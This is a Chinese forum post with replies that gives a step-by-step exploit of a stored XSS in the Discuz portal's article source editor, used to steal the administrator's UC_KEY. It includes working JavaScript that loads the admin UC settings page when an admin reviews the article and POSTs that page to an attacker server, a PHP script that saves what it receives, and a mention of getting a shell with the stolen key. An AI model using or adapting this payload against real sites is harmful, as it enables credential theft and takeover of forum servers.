Discuz某处XSS劫持UC_KEY（XSS应用详细过程）
这个漏洞的位置在Discuz的门户功能处。在发表文章时，打开“编辑源码”功能时，写入任意XSS CODE后，再进入和输出都没有过滤。导致存储型XSS。
大家都知道，这里的XSS虽然可以劫持到用户和管理的Cookies，但是没什么用，无法登陆。
那么，我们可以想办法拿XSS来干点其他的，比如劫持管理员后台内容，如UC_KEY等。
因为默认安装情况下这个门户功能是没有配置的。
所以管理员需要手动配置门户功能。大部分都会开启门户。
但是开启门户，添加门户频道后不是所有用户都可以发表文章。
发表文章的权限是管理员手动配置的。
一般情况：
1、管理员可以发表文章。
2、超级版主，版主等管理组可以发表文章。
3、普通用户可以发表文章。
4、上述用户发表文章后可以配置需要管理员审核等。
所以，综上所述，只要用户可以发表文章就可以到达目的了。
首先我们来看下我们目标环境的discuz配置，选择门户——添加频道：
然后看看可发表文章的用户组。这里是新手的发表文章文章权限配置。
可以发表文章，但是需要管理审核。
上述时普遍存在的常规门户文章发表配置。
然后我们在目标站上注册用户，发表文章：
具体注意的，介绍的部分上图已说明。
这里攻击者服务其上的jquery.js和js.js就是我们劫持UC_KEY的核心。
说白了就是劫持页面源代码。没什么技术含量。
这里我用了ajax请求，为了避免没有jquery环境，自己加上了jquery.js。
js.js代码如下：
$(document).ready(function(){
var htmlstr = '';
$.ajax({
url: "http://xxx.xxx.100.235/Discuz_X3.1_SC_UTF8/admin.php?action=setting&operation=uc",
dataType: "text",
async: false,
success: function(data){
htmlstr = data;
}
});
$.ajax({
url: "http://xxx.xxx.20.198/savepage.php",
dataType: "text",
async: false,
type: "POST",
data: {"msg": htmlstr},
success: function(data){
//htmlstr = data;
}
});
//$("body").append("<area>"+htmlstr+"</area>");
//alert(htmlstr)
});
功能就是劫持目标的http://xxx.xxx.100.235/Discuz_X3.1_SC_UTF8/admin.php?action=setting&operation=uc页面的内容，然后发送到攻击者的http://xxx.xxx.20.198/savepage.php上。
savepage.php就是接受目标页面源码内容的，代码如下：
<?php
$data=$_POST['msg'];
$file='savepage.txt';
if (is_writable($file) == false) {
die('123');
}
file_put_contents($file, $data);
?>
下面我们来看看我们发表文章后，目标站点上的响应：
管理员进入后台就会看见提示。
打开需要审核的内容，管理员在审核时一般都会看看这个文章的内容，是否可以发布。
此时管理员查看时，已经被我们劫持。
最后我们回到攻击者，看看我们接收到的内容：
剩下的就是利用UC_KEY直接拿shell，或者登陆后台，这里的内容见其他漏洞详情。 乌云那妹子是你不 感谢分享 去试试XSS 去试试，:lol
Re: Discuz某处XSS劫持UC_KEY（XSS应用详细过程）
这个分析过程很详细，把XSS从触发到利用UC_KEY的思路讲得很清楚。尤其是点出了普通存储型XSS劫持Cookie意义不大，转而劫持后台页面源码获取UC_KEY，这个应用场景挺有实战价值的。代码部分也贴出来了，方便复现和理解。不过有个细节想确认一下：管理员审核文章时，如果页面加载了外部jquery.js和js.js，会不会因为跨域或CSP策略导致请求失败？还是说默认后台没有这些限制？另外，劫持到UC_KEY后，后续拿shell的具体操作能再展开说说吗？Re: Discuz某处XSS劫持UC_KEY（XSS应用详细过程）
这个漏洞分析得很细致，把XSS从“偷cookie没用”的困境中引向了更有价值的UC_KEY劫持，思路很实用。作者不仅说明了门户功能配置的常见场景，还给出了完整的攻击代码和接收端脚本，对理解存储型XSS的深层利用很有帮助。不过在实际渗透或防御时，建议结合Discuz版本差异和后台路径变化来调整，毕竟代码中有硬编码的IP和路径。对于管理员来说，审稿时注意检查源码内容、限制门户文章发布权限并及时升级补丁是关键。Re: Discuz某处XSS劫持UC_KEY（XSS应用详细过程）
感谢楼主分享这个详细的XSS利用思路。通过门户编辑源码未过滤的存储型XSS劫持管理员后台UC_KEY，并配合服务端接收页面内容，确实是一个实用的攻击链。特别是考虑到门户功能默认未开启、需管理员手动配置，以及文章审核流程中管理员的查看行为，这个漏洞的触发场景设计得很清晰。代码示例也很完整，对理解整个劫持过程帮助很大。建议同时关注UC_KEY泄露后可能带来的进一步危害，比如后台登录或getshell的后续利用。
页:
[1]